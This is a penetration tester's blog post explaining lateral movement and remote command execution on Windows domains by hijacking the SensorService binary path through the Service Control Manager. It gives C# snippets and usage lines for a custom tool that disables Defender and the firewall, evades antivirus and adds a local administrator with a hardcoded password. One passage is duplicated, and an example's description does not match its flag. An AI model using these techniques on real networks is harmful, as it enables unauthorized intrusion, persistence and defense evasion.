November 9, 2023

Remote Code Execution via Service Control Manager

Written by Gervin Appiah

An introduction to how to perform Remote Code Execution (RCE) and fileless lateral movement by taking advantage of the Windows Service Control Manager

Background

During Penetration tests, especially on a network where there are domain-joined computers, it is often necessary to demonstrate the impact of lateral movement and remote code execution to the customer.

This may have been much easier in the past, however defences have now been shored up and performing the above requires some creativity when Antivirus Software (AV) is in your way.

The technique described here is far from novel and is a variation of what Microsoft’s Sysinternals PsExec tool and many offensive tooling do.

The traditional PsExec lateral movement is relatively noisy and will get caught by AV because it drops a service executable on the target, starts said service and communicates to the target system via named pipes created by the service. This often alerts AV, and makes it easy to detect the file and service creation process. An alternative tool that does the same thing albeit in a more stealthy manner is SCShell

I decided to build my own tool which implements this technique and performs the actions that I require when doing tests. Having a custom tool also means that I can modify the code at any point to make it less detectable.

Cas Van Cooten’s github was of immense help

https://github.com/chvancooten/OSEP-Code-Snippets

Windows Service Control Manager

The tool works in Active Directory environments and accepts user supplied input for a username, password and the target domain. It uses the access token of the specified user via the LogonUser method

https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera

IntPtr userHandle = IntPtr.Zero;

const int LOGON32_PROVIDER_DEFAULT = 0;

const int LOGON32_LOGON_INTERACTIVE = 2;

bool returnValue = LogonUser(userName, domainName, password,
LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT,
out safeTokenHandle);

Instead of dropping a new binary on the target and starting it as a service (this is likely to get flagged by detection and AV), we start the ‘SensorService’ (other binaries that are already present on Windows can be selected) and change the binary path to a file that we control. My favourite thing to do is to change the binary to one that already exists on the target Windows system to blend in a little more.

 string ServiceName = "SensorService";
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);

String execCommand = "<Selected-Binary-Path>";
ChangeServiceConfigA(schService, 0xffffffff, 0x3, 0, execCommand, null, null, null, null, null, null);

Alternatively, it can simply use the currently logged on user’s access token.

Subsequently, It then remotely authenticates to the target system, requests for full access to the Service Control Manager and obtains a handle to it if successful (this requires administrative access to the target system).

 IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);

Instead of dropping a new binary on the target and starting it as a service (this is likely to get flagged by detection and AV), we start the ‘SensorService’ (other binaries that are already present on Windows can be selected) and change the binary path to a file that we control. My favourite thing to do is to change the binary to one that already exists on the target Windows system to blend in a little more.

 string ServiceName = "SensorService";
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);

String execCommand = "<Selected-Binary-Path>";
ChangeServiceConfigA(schService, 0xffffffff, 0x3, 0, execCommand, null, null, null, null, null, null);

Usage

I named the tool ExeCutioner for fairly obvious reasons and the basic syntax is:

ExeCutioner.exe /t <target> /user <username> /pass <password> /domain <domain> <command-to-run>

It current supports the below options:

/addadmin - adds a local administrator called newguy with password MakeLife123 to target
/cmd - allows for the execution of commands on the target
/domain - allows for the specification of target domain
/noav - deletes Windows Defender's signatures
/nofw - disables all target firewall profiles
/pass - specifies password to use
/t - specifies the target
/syscreds - ignores the user specified and uses the token of the currently logged in user
/user - specifies the target user account

Some usage examples include:

ExeCutioner.exe /t <target name or IP> /user <username> /pass <password> /domain <domain> /nofw true

To authenticate to target with current logged on user’s token and turn off AV (Windows Defender). This is useful prior to lateral movement to make sure Windows Defender does catch my connection attempt.

ExeCutioner.exe /t <target name or IP> /syscreds true /noav true

 

3. To authenticate to target with current user token and execute commands

ExeCutioner.exe /t <target name or IP> /syscreds /cmd <command-to-run-in-qoutes>
E.g ExeCutioner.exe /t <target name or IP> /syscreds /cmd "net user adminguy password /add"

NB: So far netsh and net commands run without any issues. Not so much for the others

To Authenticate to target with current user token and add a new Local Administrator – username “newguy” with password “MakeLife123”

ExeCutioner.exe /t <target name or IP> /syscreds /addadmin true

Youtube